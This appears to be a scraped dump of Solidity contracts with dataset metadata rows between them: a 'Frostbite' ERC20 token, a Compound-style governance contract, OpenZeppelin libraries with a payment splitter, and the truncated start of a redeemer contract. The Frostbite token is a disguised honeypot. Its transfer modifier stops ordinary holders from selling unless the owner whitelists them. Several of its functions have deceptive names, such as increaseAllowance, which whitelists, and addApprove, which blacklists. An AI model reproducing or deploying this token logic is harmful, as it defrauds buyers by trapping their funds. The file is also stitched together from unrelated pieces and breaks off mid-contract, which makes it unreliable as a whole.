pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Frostbite is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 84,823 | 10,986 |
80670fc57b34a41a4e1f7e3fcc568fe2c99c93b381f75e23d32e7330f6e56447
| 14,828 |
.sol
|
Solidity
| false |
335205248
|
GridZone/gridzone-governance
|
8f0b1625dfca8b176f79b9c5026b30ddf39551e6
|
contracts/Governance/GovernorAlpha.sol
| 3,470 | 14,513 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
function quorumVotes() public view returns (uint) {
return div256(comp.totalSupply(), 25);
} // 4% of ZONE
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint) {
return div256(comp.totalSupply(), 1000);
} // 0.1% of ZONE
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) >= proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint256 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __setTimelockPendingAdmin(address newPendingAdmin) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.setPendingAdmin(newPendingAdmin);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function div256(uint256 a, uint256 b) internal pure returns (uint) {
require(b > 0, "division by zero");
uint256 c = a / b;
return c;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function setPendingAdmin(address pendingAdmin_) external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
| 8,087 | 10,987 |
514753503cda34101644a5f479313933f2987be2534064c9a494f5f979fa2477
| 27,661 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/14/142932151c31dcb9988F8CdF8F76CED34F121cd0_GoldenSmolPayments.sol
| 3,190 | 12,814 |
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/finance/PaymentSplitter.sol
// OpenZeppelin Contracts (last updated v4.7.0) (finance/PaymentSplitter.sol)
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
function totalShares() public view returns (uint256) {
return _totalShares;
}
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
function shares(address account) public view returns (uint256) {
return _shares[account];
}
function released(address account) public view returns (uint256) {
return _released[account];
}
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
function releasable(address account) public view returns (uint256) {
uint256 totalReceived = address(this).balance + totalReleased();
return _pendingPayment(account, totalReceived, released(account));
}
function releasable(IERC20 token, address account) public view returns (uint256) {
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
return _pendingPayment(account, totalReceived, released(token, account));
}
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 payment = releasable(account);
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 payment = releasable(token, account);
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
function _pendingPayment(address account,
uint256 totalReceived,
uint256 alreadyReleased) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// File: contracts/GoldenSmolPayments.sol
contract GoldenSmolPayments is PaymentSplitter {
constructor(address[] memory _payees,
uint256[] memory _shares)
PaymentSplitter(_payees, _shares) payable
{
}
}
| 110,341 | 10,988 |
b2fe86b55b76fd3f487c496b8717dbcbd476f03723dd5f14f2d8c9d817faddb5
| 20,128 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a3/a37741b92e3EEf411E1e988f3C26F134Ca724b6c_AmbrosiaRedeemer.sol
| 4,963 | 19,035 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyPolicy() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyPolicy() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
